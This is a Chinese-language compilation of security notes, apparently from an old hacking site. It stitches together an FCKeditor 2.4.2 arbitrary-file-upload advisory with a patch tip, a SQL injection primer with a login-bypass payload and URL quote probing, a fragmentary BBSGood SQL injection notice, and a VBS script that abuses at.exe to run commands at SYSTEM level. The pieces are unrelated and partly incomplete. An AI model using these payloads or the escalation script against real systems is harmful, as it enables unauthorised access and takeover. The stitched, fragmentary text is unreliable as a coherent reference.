Infos: Fckeditor <=2.4.2 For php 任意上传文件漏洞
Author: Maple-x
Date: 18/12/2007

FCKeditor是一款非常优秀的HTML在线编辑器。在处理PHP上传的地方存在严重的安全漏洞
导致用户可以上传任意文件

在fckeditor/editor/filemanager/upload/php/upload.php 61行

$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;

// Check if it is an allowed type.
if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
SendResults( 1, '', '', 'Invalid type specified' ) ;

// Get the allowed and denied extensions arrays.
$arAllowed = $Config['AllowedExtensions'][$sType] ;
$arDenied = $Config['DeniedExtensions'][$sType] ;

// Check if it is an allowed extension.
if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) )
|| ( count($arDenied) > 0 && in_array( $sExtension,
$arDenied ) ) )
SendResults( '202' ) ;

程序从$_GET数组中获取Type变量，然后通过in_array进行类型判断。
但在config配置文件中

$Config['ForceSingleExtension'] = true ;

$Config['AllowedExtensions']['File'] = array() ;
$Config['DeniedExtensions']['File'] =
array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;

$Config['AllowedExtensions']['Image'] =
array('jpg','gif','jpeg','png') ;
$Config['DeniedExtensions']['Image'] = array() ;

$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;
$Config['DeniedExtensions']['Flash'] = array() ;

并未对Media类型进行上传文件类型的控制，导致用户上传任意文件

修补办法：更新到最新的2.5版本。或者在config.php文件中，添加对Media类型的文件类型限制

【什么是SQL Injection】
SQL Injection应该称为SQL指令植入式攻击，主要属于Input Validation的问题，它是描述一个利用写入特殊SQL程序码攻击应用程序的动作。
【SQL Injection的原理】
一般输入帐号密码的网站的SQL语法为
select * from member where UID =’　"& request("ID") &"　’ nAnd Passwd =’ "& request("Pwd") & " ’
如果正常使用者输入帐号pl，密码1234
那么程序便会执行select * from member where UID =’pl’　And Passwd=’1234’
输入的帐号和密码等信息会取代ASP( or PHP、JSP)中的变量，並由两个单引号(’　’)所包住。那么，如果攻击者已知系统中已有一個Admin的管理者帐号，則输入Admin ’-- ，即可不需输入密码而进入资料库，相应的语句为
select * from member where UID =’ Admin ’-- ’ nAnd Passwd =’ ’
（注：“ – ”符号后的任何叙述都会被当作注解，也就是说以上例子的And子句将被SQL视为说明用）
【检测漏洞】
对大多数SQL服务器来说，我们并不知道对方程序的具体代码，而靠任何扫描器也不可能发现SQL injection的漏洞，这样我们就要靠手工检测了。由于我们执行SQL语句会用到单引号、分号、逗号、冒号和“――”，所以我们可以在URL后面加上以上符合，或者在表单中的文本框中加入。比如：
http://jsw/new.asp?id=1’

Version:
BBSGood.Speed Version 4.0
漏洞文件:
UserInfo.asp
漏洞描述:
变量Blogurl未经过滤带入sql语句，导致Sql注入漏洞

代码举例:
行1729-1853.

提Administrators到System级别的vbs

程序代码：
On Error Resume Next
createobject("wscript.shell").run "at.exe " & hour(now) & ":"
& minute(now)+"1" & " /interactive " & inputbox("请输入需要执行的命令"),0
msgbox "启动完成...请等待"